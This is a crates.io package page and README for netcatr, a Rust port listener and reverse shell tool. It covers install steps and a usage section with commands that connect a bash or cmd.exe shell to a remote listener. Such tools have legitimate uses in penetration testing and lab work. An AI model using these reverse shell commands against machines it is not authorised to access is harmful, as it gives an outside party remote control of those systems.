netcatr

Crates.ionetcatr
lib.rsnetcatr
version
sourcesrc
created_at2024-10-26 13:58:24.303409+00
updated_at2025-04-04 17:12:44.610418+00
descriptionnetcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.
homepagehttps://trinhminhtriet.com
repositoryhttps://github.com/trinhminhtriet/netcatr
max_upload_size
id1423880
Cargo.toml error:TOML parse error at line 18, column 1 | 18 | autolib = false | ^^^^^^^ unknown field `autolib`, expected one of `name`, `version`, `edition`, `authors`, `description`, `readme`, `license`, `repository`, `homepage`, `documentation`, `build`, `resolver`, `links`, `default-run`, `default_dash_run`, `rust-version`, `rust_dash_version`, `rust_version`, `license-file`, `license_dash_file`, `license_file`, `licenseFile`, `license_capital_file`, `forced-target`, `forced_dash_target`, `autobins`, `autotests`, `autoexamples`, `autobenches`, `publish`, `metadata`, `keywords`, `categories`, `exclude`, `include`
size0
Triet Trinh (trinhminhtriet)

documentation

README

📡 netcatr

              _                 _
 _ __    ___ | |_   ___   __ _ | |_  _ __
| '_ \  / _ \| __| / __| / _` || __|| '__|
| | | ||  __/| |_ | (__ | (_| || |_ | |
|_| |_| \___| \__| \___| \__,_| \__||_|

📡 netcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.

✨ Features

  • Command history & Tab completion (Interactive mode);
  • CTRL-C blocking;
  • Colors;
  • Everything easy;

Modes

  • Listen mode (listen);
  • Reverse shell mode (connect);

🚀 Installation

To install netcatr, simply clone the repository and follow the instructions below:

git clone git@github.com:trinhminhtriet/netcatr.git
cd netcatr

cargo build --release
cp ./target/release/netcatr /usr/local/bin/

Running the below command will globally install the netcatr binary.

cargo install netcatr

💡 Usage

The most basic and useful example to start listening on a port would be (you can even run vim inside netcatr with this):

netcatr listen -ib 55600

and to connect:

netcatr connect -s bash the.0.0.ip 55600

Reverse shell from Windows:

netcatr connect -s cmd.exe the.0.0.ip 55600

🗑️ Uninstallation

Running the below command will globally uninstall the netcatr binary.

cargo uninstall netcatr

Remove the project repo

rm -rf /path/to/git/clone/netcatr

🤝 How to contribute

We welcome contributions!

  • Fork this repository;
  • Create a branch with your feature: git checkout -b my-feature;
  • Commit your changes: git commit -m "feat: my new feature";
  • Push to your branch: git push origin my-feature.

Once your pull request has been merged, you can delete your branch.

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

Commit count: 26

cargo fmt